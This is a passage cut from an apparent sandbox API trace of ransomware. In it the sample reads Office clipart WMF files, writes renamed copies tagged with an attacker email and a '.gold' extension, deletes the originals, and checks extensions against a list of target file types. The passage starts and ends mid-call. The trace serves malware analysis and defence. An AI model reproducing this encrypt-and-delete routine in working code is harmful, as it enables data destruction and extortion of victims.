nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.257] SetEndOfFile (hFile=0x3a8) returned 1 [0108.257] CloseHandle (hObject=0x3a8) returned 1 [0108.257] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.257] SetEndOfFile (hFile=0x380) returned 1 [0108.260] CloseHandle (hObject=0x380) returned 1 [0108.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString=".doc") returned 4 [0108.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString=".docx") returned 5 [0108.261] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.261] lstrlenW (lpString=".pdf") returned 4 [0108.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString=".xls") returned 4 [0108.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.261] lstrlenW (lpString=".xlsx") returned 5 [0108.261] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.261] lstrlenW (lpString=".ppt") returned 4 [0108.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString=".zip") returned 4 [0108.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.261] lstrlenW (lpString=".rar") returned 4 [0108.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString=".bz2") returned 4 [0108.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString=".7z") returned 3 [0108.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString=".dbf") returned 4 [0108.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString=".1cd") returned 4 [0108.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString=".jpg") returned 4 [0108.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.262] lstrlenW (lpString=".doc") returned 4 [0108.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString=".docx") returned 5 [0108.262] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.262] lstrlenW (lpString=".pdf") returned 4 [0108.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString=".xls") returned 4 [0108.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.262] lstrlenW (lpString=".xlsx") returned 5 [0108.262] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.262] lstrlenW (lpString=".ppt") returned 4 [0108.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.262] lstrlenW (lpString=".zip") returned 4 [0108.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.262] lstrlenW (lpString=".rar") returned 4 [0108.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString=".bz2") returned 4 [0108.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString=".7z") returned 3 [0108.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.262] lstrlenW (lpString=".dbf") returned 4 [0108.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.262] lstrlenW (lpString=".1cd") returned 4 [0108.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0108.262] lstrlenW (lpString=".jpg") returned 4 [0108.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.262] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.262] lstrlenW (lpString="J0107502.WMF") returned 12 [0108.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.263] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=10836) returned 1 [0108.263] CloseHandle (hObject=0x380) returned 1 [0108.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0108.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.263] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.263] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.264] GetLastError () returned 0x0 [0108.264] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2a54, lpOverlapped=0x0) returned 1 [0108.273] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0108.274] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.274] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.274] SetEndOfFile (hFile=0x3a8) returned 1 [0108.274] CloseHandle (hObject=0x3a8) returned 1 [0108.274] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.275] SetEndOfFile (hFile=0x380) returned 1 [0108.276] CloseHandle (hObject=0x380) returned 1 [0108.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0108.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.278] lstrlenW (lpString=".doc") returned 4 [0108.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.278] lstrlenW (lpString=".docx") returned 5 [0108.278] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.278] lstrlenW (lpString=".pdf") returned 4 [0108.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.278] lstrlenW (lpString=".xls") returned 4 [0108.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.278] lstrlenW (lpString=".xlsx") returned 5 [0108.278] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.278] lstrlenW (lpString=".ppt") returned 4 [0108.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.278] lstrlenW (lpString=".zip") returned 4 [0108.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.278] lstrlenW (lpString=".rar") returned 4 [0108.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.278] lstrlenW (lpString=".bz2") returned 4 [0108.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.278] lstrlenW (lpString=".7z") returned 3 [0108.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.278] lstrlenW (lpString=".dbf") returned 4 [0108.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".1cd") returned 4 [0108.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".jpg") returned 4 [0108.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".doc") returned 4 [0108.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString=".docx") returned 5 [0108.279] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.279] lstrlenW (lpString=".pdf") returned 4 [0108.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString=".xls") returned 4 [0108.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.279] lstrlenW (lpString=".xlsx") returned 5 [0108.279] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.279] lstrlenW (lpString=".ppt") returned 4 [0108.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".zip") returned 4 [0108.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.279] lstrlenW (lpString=".rar") returned 4 [0108.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString=".bz2") returned 4 [0108.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString=".7z") returned 3 [0108.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".dbf") returned 4 [0108.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".1cd") returned 4 [0108.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0108.279] lstrlenW (lpString=".jpg") returned 4 [0108.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.279] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.279] lstrlenW (lpString="J0107512.WMF") returned 12 [0108.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.280] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=11404) returned 1 [0108.280] CloseHandle (hObject=0x380) returned 1 [0108.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 0x20 [0108.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.281] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.281] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.282] GetLastError () returned 0x0 [0108.282] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2c8c, lpOverlapped=0x0) returned 1 [0108.632] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0108.633] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.633] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.633] SetEndOfFile (hFile=0x3a8) returned 1 [0108.633] CloseHandle (hObject=0x3a8) returned 1 [0108.634] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.634] SetEndOfFile (hFile=0x380) returned 1 [0108.635] CloseHandle (hObject=0x380) returned 1 [0108.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0108.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.654] lstrlenW (lpString=".doc") returned 4 [0108.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.654] lstrlenW (lpString=".docx") returned 5 [0108.654] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.654] lstrlenW (lpString=".pdf") returned 4 [0108.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.654] lstrlenW (lpString=".xls") returned 4 [0108.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.654] lstrlenW (lpString=".xlsx") returned 5 [0108.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.654] lstrlenW (lpString=".ppt") returned 4 [0108.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.654] lstrlenW (lpString=".zip") returned 4 [0108.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.654] lstrlenW (lpString=".rar") returned 4 [0108.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.654] lstrlenW (lpString=".bz2") returned 4 [0108.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.654] lstrlenW (lpString=".7z") returned 3 [0108.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.654] lstrlenW (lpString=".dbf") returned 4 [0108.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".1cd") returned 4 [0108.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".jpg") returned 4 [0108.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".doc") returned 4 [0108.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString=".docx") returned 5 [0108.655] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0108.655] lstrlenW (lpString=".pdf") returned 4 [0108.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString=".xls") returned 4 [0108.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.655] lstrlenW (lpString=".xlsx") returned 5 [0108.655] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0108.655] lstrlenW (lpString=".ppt") returned 4 [0108.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".zip") returned 4 [0108.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.655] lstrlenW (lpString=".rar") returned 4 [0108.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString=".bz2") returned 4 [0108.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString=".7z") returned 3 [0108.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".dbf") returned 4 [0108.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".1cd") returned 4 [0108.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0108.655] lstrlenW (lpString=".jpg") returned 4 [0108.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.655] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.656] lstrlenW (lpString="J0107708.WMF") returned 12 [0108.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.663] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4808) returned 1 [0108.663] CloseHandle (hObject=0x3b4) returned 1 [0108.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0108.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0108.741] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.741] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0108.742] GetLastError () returned 0x0 [0108.742] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x12c8, lpOverlapped=0x0) returned 1 [0108.743] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0108.744] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0108.744] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.744] SetEndOfFile (hFile=0x394) returned 1 [0108.744] CloseHandle (hObject=0x394) returned 1 [0108.744] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.744] SetEndOfFile (hFile=0x364) returned 1 [0108.747] CloseHandle (hObject=0x364) returned 1 [0108.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) 